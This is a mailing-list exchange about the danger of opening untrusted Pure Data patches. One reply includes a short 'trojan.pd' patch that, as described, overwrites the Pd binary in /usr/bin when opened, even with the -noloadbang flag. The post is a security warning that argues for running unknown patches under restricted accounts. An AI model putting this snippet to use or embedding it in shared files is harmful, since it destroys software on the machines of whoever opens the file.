[PD] embed_Data.pd

[Mathieu Bouchard]

On Sun, 15 Oct 2006, Frank Barknecht wrote:

> That's a danger of course. You can load unknown patches with 
> "-noloadbang" and/or remove the "shell" external from your path as first 
> measures.

put this in file trojan.pd :
   #N canvas 0 0 0 0 0 0 10;
   #X obj 0 0 namecanvas self;
   self savetofile pd /usr/bin;

then "pd trojan.pd" will attempt to overwrite /usr/bin/pd, and so will "pd 
-noloadbang trojan.pd".

> Of course this won't stop a really desperate attacker, so it's better to 
> run unknown patches under a restricted accound (like doing a "sudo 
> nobody" first)

yes

> However my comment regarding Steffen's patch was meant as a comment
> about the general principle he uses.

i understand this.

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